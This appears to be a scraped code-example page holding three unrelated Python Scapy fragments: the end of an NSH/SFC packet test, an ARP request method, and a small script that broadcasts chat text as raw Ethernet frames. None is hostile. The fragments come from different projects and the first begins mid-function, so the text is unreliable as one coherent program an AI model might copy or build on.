    sent_packets.append(pkt_raw)
    txq.send(pkt_raw)

    ether = rxq.recv(2)

    if ether is None:
        raise RuntimeError("No packet is received!")

    # let us begin to check the proxy inbound packet
    VerifyPacket.check_the_nsh_sfc_packet(ether, frame_size, test_type)

    # we check all the fields about the proxy inbound, this test will pass
    sys.exit(0)
Beispiel #59
0
 def arpRequest(self, ip, output):
     mac = self.sw.data_ports[output].intf.MAC()
     pkt = Ether(dst='ff:ff:ff:ff:ff:ff', src=mac) / CPUMetadata() / \
         ARP(hwlen=6, plen=4, op=ARP_OP_REQ, hwsrc=mac,
             psrc=self.sw.data_ports[output].IP(), hwdst='00:00:00:00:00:00', pdst=ip)
     self.send(pkt, output)
'''
Created on Jan 19, 2012

@author: art3
'''

from scapy.all import Ether,sniff,sendp

a=Ether()
a.type=0x8088
a.src='cc:52:af:0e:2c:c2'

while True:
    print("say something, and be sure to add quotation marks")

    data = 'victor says : ' + input()

    b=a/data

    sendp(b, count=2, iface='wlan0')